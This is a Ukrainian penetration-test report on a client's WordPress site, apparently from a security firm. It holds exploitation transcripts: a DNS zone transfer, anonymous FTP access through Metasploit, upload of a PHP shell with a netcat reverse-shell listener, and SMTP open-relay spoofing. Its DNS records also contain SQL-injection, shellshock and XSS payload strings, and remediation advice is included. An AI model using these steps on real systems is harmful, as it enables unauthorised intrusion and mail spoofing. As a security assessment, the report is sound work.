  • 4. Тестування на проникнення (також "Тест на проникнення", "Пентест", "Пентестінг", англ. Penetration Testing)—це комплекс санкціонованих заходів з метою протестувати і проаналізувати кіберзахист інформаційної системи та дати оцінку захищеності. Пентестер моделює атаки й імітує дії хакера, використовуючи різноманітні техніки та інструменти. Ціль пентесту— перевірити систему на стійкість, надійність, наявність ризиків і недоліків кібербезпеки. Пентестер — це ІТ-фахівець, який проводить тестування захищеності інформаційних систем, об’єктів інфраструктури, комп’ютерних мереж, електронних ресурсів, мобільних і веб-додатків, виявляючи баги, дефекти, вразливості, які можуть привести до зламу, витоку або викрадення даних, компрометації системи. Браузер — програмне забезпечення для пошуку, представлення та перегляду інформаційних ресурсів у всесвітній павутині Інтернет. CMS (Content Manangement System) — система управління контентом веб-сайту. Найбільш популярною є CMS WordPress, на якій працює близько 70% сайтів в інтернеті. DNS (Domain Name System) — ієрархічна децентралізована система імен для комп'ютерів, сервісів або інших ресурсів, підключених до Інтернету або приватної мережі. Домен — унікальний буквено-цифровий набір символів, що визначає сайт в інтернеті. Доменні імена формуються за правилами та процедурами Системи доменних імен (DNS). IP-адреса — ідентифікатор, який присвоюється кожному комп'ютеру, підключеному до комп'ютерної мережі. Хостинг — послуга, що дозволяє приватним особам та організаціям розмістити свій сайт в Інтернеті. Вразливість — помилка або порушення в ІТ-системі, що призводить до ризиків безпеки. 2 Основні поняття і терміни 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 5. TLS (Transport Layer Security) — криптографічний протокол для захисту передачі даних між вузлами в мережі Інтернет. SSL (Secure Sockets Layer) — криптографічний протокол для захист передачі даних по HTTP-протоколу. TCP (Transmission Control Protocol) — протокол керування передачею даних в Інтернеті. UDP (User Datagram Protocol) — мережевий протокол передачі даних в Інтернеті. OSI (Open System Interconnection Model) — мережева модель, яка описує роботу всіх мережевих протоколів. WAF (Web Application Firewall) — сукупність моніторів і фільтрів, призначених для виявлення та блокування мережевих атак на рівні веб додатку. HTML (HyperText Markup Language) — мова гіпертекстової розмітки, стандартна мова розмітки для створення веб-сторінок та веб-додатків. HTTP (HyperText Transfer Protocol) — протокол передачі гіпертексту, прикладний протокол для обміну та передачі гіпертекстових повідомлень. PHP (Personal Home Page Tools) — серверна скриптова мова програмування для створення і керування веб-додатками. SQL (Structured Query Language) — мова структурованих запитів, що використовується в програмуванні і призначена для управління даними. CVSS (Common Vulnerability Scoring System) — це система оцінки вразливостей, яка також дає характеристику вектора кібератаки, створена у 2005 році Forum of Incident Response and Security Teams (FIRST). CWE (Common Weakness Enumeration) — це список найбільш слабких місць у безпеці програмного забезпечення, створений організацією MITRE. OWASP (Open Web Application Security Project) — некомерційна організація і проєкт з безпеки веб-додатків. 3 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 6. XSS (Cross Site Scripting) — вразливість міжсайтового скриптингу, що дозволяє користувачам вставляти код HTML або JavaScript в тіло сторінки. Існує кілька типів цієї вразливості: Stored XSS, Reflected XSS тав DOM-based XSS. Атаки на базі XSS можуть використовуватися для соціальної інженерії, перенаправлення користувачів на фішингові ресурси, перехоплення даних та ін. DOS (Denial of Service) — атака на відмову в обслуговування, що полягає у насиченні інформаційної системи великою кількістю запитів, які вичерпують ресурси, викликають збої та порушення в роботі, і у висновку призводять до недоступності сервера. Існують також розподілені атаки - DDoS (Distributed Denial of Service). LFI (Local File Include) — це атака, яка дозволяє виконувати, переглядати, редагувати локальні файли на віддаленому сервері. Існує ще Remote File Inclusion (RFI), що являє собою завантаження і виконання віддалених файлів на сервері. RCE (Remote Code Execution) — це атака з віддаленим виконанням команд на серверній стороні. Bruteforce — метод підбору пароля шляхом почергового перебору можливих комбінацій логін/пароль на основі масок або словника. SQL-injection — атака з відправкою шкідливих скриптів/команд в SQL-базу даних. SSRF (Server Side Request Forgery) — атака з підробкою запитів на стороні сервера, коли зловмисник зловживає функціями сервера, змушуючи його отримувати доступ або маніпулювати інформацією. CSRF (Cross Site Request Forgery) — міжсайтова підробка запитів. CRLF (Carriage Return Line Feed) — атака з відправкою символів повернення каретки і перенесення рядка з метою введення в оману серверів і веб-додатків. XXE (XML External Entity) — атака на XML-документи. Spoofing — це атака, коли особа або програма маскується під іншу за допомогою фальсифікації даних, і тим самим отримує незаконну перевагу. MITM (Main In The Middle) — атака "Людина посередині" з перехопленням даних. 4 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 7. Проведення незалежного тестування і оцінювання безпеки сайту [domain]. Виявлення вразливостей та слабких ланок безпеки на всіх рівнях OSI/TCP-IP моделі. Пошук потенційних загроз, витоків даних, зон ризику, точок компрометації, багів, дефектів та будь-яких інших недоліків, що впливають на захищеність сайту. Оцінка захищеності, підготовка фахових висновків та рекомендацій з кібербезпеки. Вступні відомості по проєкту Правовласник компанії [COMPANY] надіслав 20.03.2020 запит в KR. Laboratories (kr-labs.com.ua) на проведення зовнішнього Manual Black-Box пентесту. Йому було надано вичерпну консультацію та проведено короткий бриф, після чого замовник виявив бажання підписати договір на проведення тестування на проникнення корпоративного електронного ресурсу [DOMAIN], створеного на базі CMS WordPress. Пентест був проведений у період з 28.03.2020 по 07.04.2020 включно. Виконавець - сертифікований спеціаліст з IT-безпеки Konrad Ravenstone. Цілі і мета пентесту 1. 2. 3. Результати пентесту За результатами тестування на проникнення були виявлені недоліки кібербезпеки на всіх ланках і рівнях сайту [domain]. Були виявлені сумарно 13 вразливостей критичного (4), високого (4), середнього (4) та низького (1) рівнів ризику, що може привести до несанкціонованого зламу і втрати даних, фінансових і репутаційних збитків. Сайт визнано незахищеним, таким, що потребує негайної комплексної оптимізації кібербезпеки. Коротке резюме 5 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 8. Information Systems Security Assessment Framework (ISSAF) The Open Source Security Testing Methodology Manual (OSSTMM) Penetration Testing Execution Standard (PTES) OWASP Web Security Testing Guide WASC Threat Classification NIST SP800-115 MITRE Attack SANS CWE Top 25 PCI-DSS Penetration Testing Standard BSI Penetration Testing Model ISO 27001 Фаза 1: Мережева і технічна розвідка, пасивний і активний збір інформації DNS/TCP-IP. Аналіз хостів, доменів, IP-адрес. Дослідження даних реєстратора в WHOIS, визначення NS-серверів і хостинг-провайдера, історія/ хронологія змін DNS, енумерація субдоменів, сканування мережевих TCP/UDP-портів, захоплення серверних банерів, визначення операційної системи та програмного забезпечення. Аналіз Email і HTTP заголовків, службових і системних файлів, файлів конфігурації (sitemap.xml, robots.txt), аналіз SSL/TLS сертифікатів (Crt.sh, Qualys SSL Labs). Використання інструментів командного рядка Linux: nslookup, dig, host, ping, traceroute і т.д. Застосування SAST/DAST-сканерів: NMAP, Nikto, WPScan, SQLmap, Acunetix, BurpSuite, OWASP Zap, OpenVAS, Tenable Nessus та інших. Фаза 2: Комплексна розвідка з відкритих джерел - WEBINT, OSINT, SOCMINT. Пошук будь-яких публічних даних, згадок про об’єкт в інтернеті та ЗМІ. Робота з кібер- та метапошуковими системами. Збір геоданих, email адрес, акаунтів в соцмережах та інших даних. Виявлення витоків даних— скомпрометовані бази даних, паролі, логіни (Have I Been Pwned, DEHASHED, IntelligenceX та ін.), використання різноманітних OSINT/SOCMINT- фреймворків (Maltego, Spiderfoot). Пошук адміністративних URL-адрес та документів. У ході тестування була використана авторська методологія KR. LABORATORIES, яка базується на основі кращих міжнародних практик, фреймворків, стандартів: Пентест складався з трьох етапів, кожен з яких був поділений на три фази: Етап 1. Збір і накопичення матеріалів, планування атак. 6 Методологія 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 9. Фаза 3: Аналіз зібраної інформації. Ідентифікація і аналіз вразливостей, метаданих. Підбір/написання шеллів і експлойтів. Аналіз вразливостей в базах даних: ExploitDB/CVE/CWE/NVD/OSVDB/CVSS. Пошук PoC, випробування атак. Планування атак. Фаза 1: Експлуатація вразливостей. Здійснення хакерських атак різного рівня: брутфорс з підбором паролей, фаззінг URL-адрес, відмова в обслуговуванні (DOS/DDOS), здійснення PHP/SQL/XSS/XXE-ін’єкцій, атаки з підробкою міжсайтових і міжсерверних запитів CSRF/SSRF, запуск шеллів (LFI/RFI), віддалене виконання коду RCE, перехоплення даних (Spoofing/MITM) та інші. Робота з Offensive Security-інструментами: Metasploit Framework, THC Hydra, Cobalt Strike і т.д. Фаза 2: Інвентаризація. Збір даних про скомпрометовану систему, топологія мережі, перегляд системних журналів, аналіз подій, сканування і перевірка серверних служб, інтерфейсів, отримання версій ПЗ, плагінів, модулів, компонентів. Робота з утилітами командного рядка для аудиту сервера: Lynis, otseca, memtester, nix-auditor, mySQLtuner, testssl.sh, GoAccess та іншими. Фаза 3: Пост-експлуатація. Закріплення доступу та підвищення привілеїв адміністратора в зламаній системі. Створення бекдорів, завантаження руткітів. Створення дампів і вивантаження даних. Повний контроль над сервером. Приховання слідів. Фаза 1: Документування. Усіх дій, виконаних пентестером та подій, які відбувалися в системі. Публікація технічних деталей експлуатації. Фаза 2: Представлення даних. Підбір доказової бази: скріншотів, технічних деталей, інфографіки, посилань, діаграм, відео та будь-яких додаткових матеріалів. Фаза 3: Формування рекомендацій. Надання замовнику експертних порад з усунення виявлених проблем безпеки. Рекомендації можуть містити короткі вказівки або розгорнутий опис (по домовленості). Етап 2. Проведення атак. Етап 2. Підготовка звіту. 7 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 10. Персональний комп'ютер на базі Intel Core i5 16GB RAM. Віртуальні сервери: VPS Intel 2CPUs, 2GB RAM; VPS AMD 1CPU, 2GB RAM. Операційні системи: OS Kali Linux 2020.4, OS Debian 10, OS Ubuntu 18.04, OS Parrot Linux, OS BlackArch Linux. Веб-браузери: Mozilla Firefox Dev, Google Chrome Dev, Brave Browser. Розширення Firefox: FoxyProxy, Web Developer, IP Address and Domain Information, Webhint, Wayback Machine, Tamper Data, Exif Viewer, HackBar, Hack-Tools, EasyXSS, Cookie-Editor, HTTP Header Live, retire.js, Vulners Web Scanner, YesWeHack. Мережеві утиліти: dig, nslookup, telnet, traceroute, ftp, ssh, scp, netcat, whois, tcpdump, curl, wget, ping, hping. SAST/DAST-сканери: Burpsuite PRO, Acunetix Vulnerability Scanner, Tenable Nessus, Rapid7 Nexpose, OpenVAS, Wapiti, Qualys Web Application Scanner, ImmuniWeb, OWASP Zap, NMAP, WPScan, Nekto, WhatWeb, Nuclei. Offensive-security додатки: Metasploit Framework, THC Hydra, John The Reaper, RainbowCrack, Weewely, BeeF, HashCat, SQLmap, XSStrike, Express XSShunter. Пошукові системи: Google, Bing, Yacy, Shodan, Censys, ZoomEye, MetaGer, SearX, IntelX, PublicWWW, Netlas, OPSWAT, Greynoise, Pulsedive, LeakIX, Onyphe, BinaryEdge, Github Search, Exploid-DB. Утиліти і сервіси для аналізу DNS/IP: DNSdumpster, OWASP Amass, theHarvester, DNSrecon, DNSlytics, dnswalk, dnsviz, dnsenum, dnsmap, Sublist3r, fierce, SecurityTrails, CRTsh, testssl, Arjun. Утиліти для краулінгу/фаззінгу: Dirb, Dirsearch, Dirhunt, Gobuster, FFUF, INURLBR, CRLFUZZ, Photon, Metagoofil, Xenu, Seo Screaming Spider Frog. OSINT-додатки і сервіси: Maltego, SpiderFoot, Hunchly, DeHashed, Haveibeenpwned, Wappalyzer, C99, Buildwidth, GHUNT, Hunter.io., Spyse, SimilarTech. Для ідентифікації знайдених вразливостей використовувались електронні бази даних: NIST NVD, ExploitDB, OpenCVE, CVE Mitre, CWE, VulDB, Snyk Vulnerability DB, Rapid7 Vulnerability & Exploit Database, Packet Storm Security, WPscan WordPress Vulnerabilities, Patchstack WordPress Vulnerability Database, GitHub Advisory Database, HackerOne Reports, CXSECURITY, 0day.today, CVE Details, Acunetix Vulnerabilities Database. Рівень та вектор загроз визначався по системі Common Vulnerability Scoring System Calculator (CVSS) v2/3. Програмні і апаратні засоби пентестера: 8 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 11. Градація ризиків кібербезпеки проведена за наступною шкалою: 9 Класифікація вразливостей 07/04/2020 SECURITY@KR-LABS.COM.UA CRITICAL (9.0- 10.00) Критичний рівень загрози, що приводить до несанкціонованого доступу та повного контролю над системою. Зловмисник може вносити будь-які зміни в ресурс та впливати на функціонал, маючи необмежені права доступу. Подібні ризики приводять до зламу, компрометації, зміни конфігурації, викрадення ресурсу та втрати даних. Рекомендується негайно вжити відповідних заходів. HIGH (7.0-8.9) Високий рівень загрози, що дозволяє зловмиснику частково взяти під контроль систему, впливати на функціонал з обмеженими можливостями. Подібні ризики приводять до серйозних збоїв, системних помилок, недоступності, пошкодження даних. Рекомендується вжити відповідних заходів якомога швидше. MEDIUM (4.0-6.9) Cередній рівень загрози, що дозволяє зловмиснику експлуатувати ті чи інші вразливості ІТ-системи, частково впливати на функціонал і доступність. Рекомендується своєчасно вжити відповідних закохдів. LOW (0.1-3.9) Низький рівень загрози, включає низькорівневі вразливості інформаційного характеру, які можуть стати причиною витоку даних, що у поєднанні з іншими ризиками може призвести до несанкціонованого доступу. Рекомендується прореагувати своєчасно. INFO (0.0) Інформаційний рівень загрози, включає інформацію, яка може бути використана для планування атак. Може бути розглянута з меншим приорітетом, наприклад в ході планового обслуговування і перевірки системи.
  • 12. 10 Тестування захищеності [domain] НАЗВА АТАКИ DNS ZONE TRANSFER ATTACK РІВЕНЬ ЗАГРОЗИ MEDIUM CVSS SCORE: 5.0 CVE-1999-0532 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ dig [domain] ns ; <<>> DiG 9.18.6-2-Debian <<>> [domain] ns ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64104 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ;; QUESTION SECTION: ;xxx.net. IN NS ;; ANSWER SECTION: [domain]. 1800 IN NS ns2.[domain]. [domain]. 1800 IN NS ns1.[domain]. ;; Query time: 324 msec ;; SERVER: 103.86.96.100#53(103.86.96.100) (UDP) ;; WHEN: Wed Mar 29 03:38:28 EDT 2023 ;; MSG SIZE rcvd: 96 $ dig -t AXFR [domain] @ns1.[domain] ; <<>> DiG 9.18.6-2-Debian <<>> -t AXFR [domain] @ns1.[domain] ;; global options: +cmd [domain]. 7200 IN SOA ns1.[domain]. alex.[domain]. 2019100801 172800 900 1209600 3600 [domain]. 300 IN HINFO "Casio fx-700G" "Windows 7" [domain]. 301 IN TXT "google-site- verification=xxxxxxxxxxxxxxxxxxxxxxxxxxxx" [domain]. 7200 IN MX 0 ASPMX.L.GOOGLE.COM. [domain]. 7200 IN MX 10 ALT1.ASPMX.L.GOOGLE.COM. [domain]. 7200 IN MX 10 ALT2.ASPMX.L.GOOGLE.COM. [domain]. 7200 IN MX 20 ASPMX2.GOOGLEMAIL.COM. [domain]. 7200 IN MX 20 ASPMX3.GOOGLEMAIL.COM. [domain]. 7200 IN MX 20 ASPMX4.GOOGLEMAIL.COM. [domain]. 7200 IN MX 20 ASPMX5.GOOGLEMAIL.COM. [domain]. 7200 IN A X.XXX.XXX.XX [domain]. 7200 IN NS n1.[domain]. [domain]. 7200 IN NS ns2.[domain]. _acme-challenge.[domain]. 301 IN TXT "6Oa05hbUJ9xSsvYy7pApQvwCUSSGgxvrbdizjePEsZI" _sip._tcp.[domain]. 14000 IN SRV 0 0 5060 www. [domain]. XX.XXX.XXX.X.IN-ADDR.ARPA.[domain]. 7200 IN PTR www.[domain]. asfdbauthdns.[domain]. 7900 IN AFSDB 1 asfdbbox. [domain]. asfdbbox.[domain]. 7200 IN A 127.0.0.1 asfdbvolume.[domain]. 7800 IN AFSDB 1 asfdbbox. [domain]. canberra-office.[domain]. 7200 IN A 202.14.81.230 cmdexec.[domain]. 300 IN TXT "; ls" contact.[domain]. 2592000 IN TXT "Remember to call or email Pippa on +44 123 4567890 or pippa@[domain] when making DNS changes" dc-office.[domain]. 7200 IN A 143.228.181.132 deadbeef.[domain]. 7201 IN AAAA dead:beaf:: dr.[domain]. 300 IN LOC 53 20 56.558 N 1 38 33.526 W 0.00m 1m 10000m 10m DZC.[domain]. 7200 IN TXT "AbCdEfG" email.[domain]. 2222 IN NAPTR 1 1 "P" "E2U+email" "" email.[domain].[domain]. email.[domain]. 7200 IN A 74.125.206.26 Hello.[domain]. 7200 IN TXT "Hi to Josh and all his class" home.[domain]. 7200 IN A 127.0.0.1 internal.[domain]. 300 IN NS intns1.[domain]. internal.[domain]. 300 IN NS intns2.[domain]. intns1.[domain]. 300 IN A 81.4.108.41 intns2.[domain]. 300 IN A 167.88.42.94 office.[domain]. 7200 IN A 4.23.39.254 ipv6actnow.org.[domain]. 7200 IN AAAA 2001:67c:2e8:11::c100:1332 owa.[domain]. 7200 IN A 207.46.197.32 robinwood.[domain]. 302 IN TXT "Robin Wood" rp.[domain]. 321 IN RP robin.[domain]. robinwood. [domain]. sip.[domain]. 3333 IN NAPTR 2 3 "P" "E2U+sip" "!^.*$!sip:customer-service@[domain]!" . sqli.[domain]. 300 IN TXT "' or 1=1 --" sshock.[domain]. 7200 IN TXT "() { :]}; echo ShellShocked" staging.[domain]. 7200 IN CNAME www.sydneyoperahouse.com. alltcpportsopen.firewall.test.[domain]. 301 IN A 127.0.0.1 testing.[domain]. 301 IN CNAME www.[domain]. vpn.[domain]. 4000 IN A 174.36.59.154 www.[domain]. 7200 IN A 5.196.105.14 xss.[domain]. 300 IN TXT "'><script>alert('Boo') </script>" [domain]. 7200 IN SOA nsztm1.[domain]. robin. [domain]. 2019100801 172800 900 1209600 3600 ;; Query time: 256 msec ;; SERVER: 81.4.108.41#53(nsztm1.[domain]) (TCP) ;; WHEN: Wed Mar 29 03:40:07 EDT 2023 ;; XFR size: 50 records (messages 1, bytes 1994) 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 13. 11 ОПИС ТА ВПЛИВ АТАКИ Усі записи DNS-зони: SOA, MX, TXT, SRV, A, CNAME. Контактні дані адміністратора домену: номер телефону, електронна пошта. IP-адреси сервера та пов'язаних хостів. Субдомени: адміністративні, тестові, технічні. NS-сервери імен. Адреси поштових серверів. Програмне забезпечення, яке використовує сервер. TTL-значення оновлення кешу DNS. Схеми внутрішньої адресації. Може підібрати експлойти до серверних служб і компонентів та проексплуатувати їх. Скопіювати DNS-записи домена на неавторизовані сервери й перенаправляти трафік на підроблений сайт (DNS Hijacking/Spoofing). Провести фішингову атаку на корпоративні email-адреси з метою перехоплення даних (Mand-in- the-Middle). Спробувати зламати обліковий запис адміністратора, підібравши методом брутформ-перебору пароль. В ході мережевої розвідки домену [domain] виявлено вразливий DNS-сервер, який за запитом AXFR (Asynchronous Transfer Full Range) передає конфіденційні дані DNS. Адміністратори, зазвичай, використовують цю функцію для реплікації даних між DNS-серверами спільої інфраструктури, але вона повинна бути доступною лише для довірених IP-адрес, а не всього зовнішнього Інтернету. У висновку, вдалося скласти топологію мережі, отримати ключову інформацію: . Маючи такі відомості, зловмисник отримує широкий простір для різних несанкціонованих дій: РЕКОМЕНДАЦІЇ Перевести домен на DNS-обслуговування в Cloudflare. Активувати атрибут захисту DNSSEC у реєстратора домену, який унеможливить спроби перехоплення. Встановити і налаштувати мережевий Firewall (напр. IPtables, Fail2ban, CSF). Обмежити доступ до TCP/UDP 53. Провести комплексну конфігурацію безпеки DNS-сервера. Вимкнути передачу зони для неавторизованих серверів. Налаштувати його так, щоб він відповідав лише на автентифіковані запити на передачу з допомогою оператора allow-transfer. Приклад налаштування: Використовувати Transaction SIGnatures (TSIG) для передачі зон DNS. # /etc/named.conf acl trusted-nameservers { XXX.XXX.X.XX; //ns2 XXX.XXX.X.XX; //ns3 }; zone [domain] { type master; file "zones/[domain]"; allow-transfer { trusted-nameservers; }; }; 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 14. 12 НАЗВА АТАКИ FTP ANONYMOUS LOGIN ATTACK РІВЕНЬ ЗАГРОЗИ CRITICAL CVSS SCORE: 10 CVE-1999-0497, CVE-2015-3306 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ nmap -sV -O [domain] Starting Nmap 7.80 ( https://nmap.org ) at 2020- 12-23 21:50 UTC Nmap scan report for [domain] (XX.XX.XXX.XXX) Host is up (0.13s latency). rDNS record for XX.XX.XXX.XXX: ns1.xxxx.net Not shown: 986 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0) 25/tcp filtered smtp 53/tcp open domain ISC BIND 9.8.4-rpz2+rl005.12-P1 80/tcp open http nginx 1.6.2 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd 443/tcp open ssl/https nginx/1.6.2 993/tcp open ssl/imaps? 995/tcp open ssl/pop3s? 1500/tcp open http ISPmanager SSL redirector 3306/tcp open mysql MySQL 5.5.38-0+wheezy1-log 8080/tcp open http Apache httpd 2.2.22 ((Debian)) 8081/tcp open http Apache httpd 2.2.22 ((Debian)) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16 Network Distance: 11 hops Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.84 seconds $ msfconsole use auxiliary/scanner/ftp/anonymous show options set RHOST XXX.XXX.XXX.XXX exploit [+] XXX.XXX.XXX.XXX:21 - XXX.XXX.XXX.XXX:21 - Anonymous READ/WRITE (220 FTP Service) [*] XXX.XXX.XXX.XXX:XX - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution complete $ ftp XXX.XXX.XXX.XXX Connected to XXX.XXX.XXX.XXX. 220 FTP Service Name (XXX.XXX.XXX.XXX:user): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 Anonymous user logged in. Remote system type is Windows_NT. ftp> dir 500 Invalid PORT Command. ftp: bind: Address already in use ftp> pass Passive mode on. ftp> dir 227 Entering Passive Mode (190,191,213,101,8,30). 125 Data connection already open; Transfer starting. 12-10-20 01:12PM 1952 love.lnk 12-10-20 01:11PM 6271259 death.scr 06-30-20 06:57AM 3528005 info.zip 04-07-20 10:44AM 3414016 bomba.exe 08-20-19 12:06PM 3220992 iamahacker.bat 06-15-20 10:07AM 2038272 infoTicketOld.exe 10-15-20 09:00AM <DIR> NewDir 12-10-20 01:11PM 1952 Photo.lnk 12-10-20 01:10PM 6271259 Photo.scr 12-14-20 02:39PM 11 ttt.txt 12-10-20 01:12PM 1952 Video.lnk 12-10-20 01:11PM 6271259 Video.scr 226 Transfer complete. ftp> mkdir newdir 257 "exploit" directory created. ftp> put shell.php local: shell.php remote: shell.php 200 PORT command successful. 150 Opening ASCII mode data connection for shell.php. 226 Transfer complete. 67630 bytes sent in 0.00 secs (34.1073 MB/s) $ nc -lvnp 1234 Listening on 0.0.0.0 1234 Connection received on XX.XX.XX.XXX 50256 Linux machine 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 01:46:11 up 16 min, 0 users, load average: 0.00, 0.12, 0.23 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www- data) /bin/sh: 0: can't access tty; job control turned off $ ls bin boot etc home 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 15. 13 ОПИС ТА ВПЛИВ АТАКИ В ході сканування мережевих TCP/UDP портів домену [domain] виявлено вразливий FTP-сервер під управлінням ProFTPd 1.3.5, який дозволяє будь-кому в Інтернеті авторизуватися на сервері через FTP- протокол, вказавши логін і пароль зі значенням “anonymous”. Окрім цього, на сервері виставлені некоректні права на запис/читання файлів, що дозволило переглянути вміст усіх директорій (вразливість Path Directory Traversal), вивантажувати і завантажувати файли (вразливості Remote File Include/Local File Include). В результаті, вдалось завантажити на сервер бекдор (Reverse Shell) та провести віддалене виконання коду (Remote Code Execution (RCE)), здійснити ескалацію привілеїв, отримавши root-права адміністратора. Таким чином, внаслідок вищеперелічених вразливостей, зловмисник може безперешкодно підключатися по FTP та несанкціоновано завантажувати шкідливе програмне забезпечення, взяти під контроль сервер. РЕКОМЕНДАЦІЇ Оновити FTP-службу ProFTPd до останньої версії. Відключити анонімний протокол передачі даних (Anonymous FTP Login). Необхідно внести змінити в файл конфігурації: /etc/proftpd.conf Виставити коректні права доступи на файли і директорії на сервері. Встановити і налаштувати мережевий Firewall (напр. IPtables, Fail2ban, CSF). Обмежити доступ до порта TCP 21. Для входу на FTP-сервер застосовувати тільки захищений порт 22 SSH/sFTP. 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 16. 14 НАЗВА АТАКИ SMTP OPEN MAIL RELAY ATTACK РІВЕНЬ ЗАГРОЗИ HIGH CVSS SCORE: 7.8 CVE-1999-0512 ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ dig [domain] MX ; <<>> DiG 9.18.6-2-Debian <<>> [domain] MX ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54761 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ;; QUESTION SECTION: ;[domain]. IN MX ;; ANSWER SECTION: [domain]. 300 IN MX 10 mail.[domain]. ;; Query time: 44 msec ;; SERVER: XX.XX.XX.XX#53(XX.XX.XX.XX) (UDP) ;; WHEN: Wed Dec 14 07:38:39 EST 2020 ;; MSG SIZE rcvd: 64 $ nc -vv mail.[domain] 25 Connection to mail.[domain] (XX.XX.XXX.XXX) 25 port [tcp/smtp] succeeded! 220 mail.[domain] ESMTP Postfix (Ubuntu) EHLO assessor 250-mail.[domain] 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-AUTH LOGIN PLAIN 250-AUTH=LOGIN PLAIN 250 8BITMIME VRFY ethical.hacker 550 <ethical.hacker>: Recipient address rejected: User unknown in local recipient table EXPN postmaster 502 Error: command not implemented MAIL FROM: ethical@hacker.rrr 250 Ok RCPT TO: admin@xxxx.net 250 Ok RCPT TO: sales@xxxx.net 550 : Recipient address rejected: User unknown in virtual alias table RSET 250 Ok QUIT 221 Bye sent 224, rcvd 645 $ telnet mail.[domain] 25 Trying XX.XX.XXX.XXX... Connected to mail.[domain]. Escape character is '^]'. 220 mail.[domain] ESMTP Postfix EHLO assessor 250-mail.[domain] 250-PIPELINING 250-SIZE 30720000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN 250-AUTH=PLAIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING mail from: ethical@hacker.rrr 250 2.1.0 Ok rcpt to: info@mail.xxxx.net 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> Subject: Open Relay Vulnerability Your mail server is vuln. . 250 2.0.0 Ok: queued as 8CEC813E53F quit 221 2.0.0 Bye Connection closed by foreign host. 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 17. 15 ОПИС ТА ВПЛИВ АТАКИ IP-адресу сервера. Протокол та програмне забезпечення, яке обслуговує поштовий сервер - Postfix. Список технічних команд, які підтримує MAIL-сервер. В ході сканування мережевих портів виявлено незахищений поштовий сервер. З допомогою утиліт командого рядка Linux вдалося налагодити з ним зв’язок і дізнатися ключову інформацію: Далі з допомогою утиліти Telnet було виконано перевірку MAIL-сервера на спуфінг. Було успішно проведено несанкціоновану відправку листа від імені сервера, вказавши підроблені дані. При отриманні, в email-заголовках листа було помічено чимало надлишкової інформації, яку надав поштовий сервер, зокрема версія поштового клієнта, назва операційної системи тощо. Таким чином, поштовий сервер сайту [domain] вразливий до атак Spoofing/SMTP Open Relay, створює витік технічних даних. Зловмисники можуть розсилати спам від імені сайту, проводити масові електронні розсилки і фішингові атаки. Це серйозно впливає на продуктивність сервера і може вивести його з ладу. Зовнішні регулятори і пошукові системи за такі порушення можуть занести IP- адресу сервера у чорні списки (blacklists), тож рекомендується якомога швидше усунути проблему. РЕКОМЕНДАЦІЇ Провести комплексну конфігурацію SMTP та поштової служби POSTFIX, аби в подальшому поштовий сервер не можна було використовувати як відкритий ретранслятор. Налаштувати фільтрацію з’єднання з поштовим сервером через SMTP-протокол. Обмежити доступ до порта SMTP 25. Заборонити відправку листів без авторизації. Відключити зайві команди поштового сервера, які доступні по протоколу SMTP. Прибрати конфіденційну інформацію у заголовках поштового сервера. 07/04/2020 SECURITY@KR-LABS.COM.UA
  • 18. НАЗВА АТАКИ BRUTEFORCE ATTACK ON WP-LOGIN РІВЕНЬ ЗАГРОЗИ CRITICAL CVSS SCORE: 10 CWE-308, CWE- 521, A2:2017, A7:2021, ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ $ wpscan --url [domain] --enumerate u --api-token xxxxxxxxxx --random-user-agent __ _______ _____ / / __ / ____| / / /| |__) | (___ ___ __ _ _ __ ® / / / | ___/ ___ / __|/ _` | '_ / / | | ____) | (__| (_| | | | | / / |_| |_____/ ___|__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: [domain] [XXX.XX.XXX.XX] [+] Started: Tue Mar 7 12:56:48 2020 [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:03 <====================================================================================================== ======================================================================================================> (10 / 10) 100.00% Time: 00:00:03 [i] User(s) Identified: [+] admin | Found By: Author Id Brute Forcing 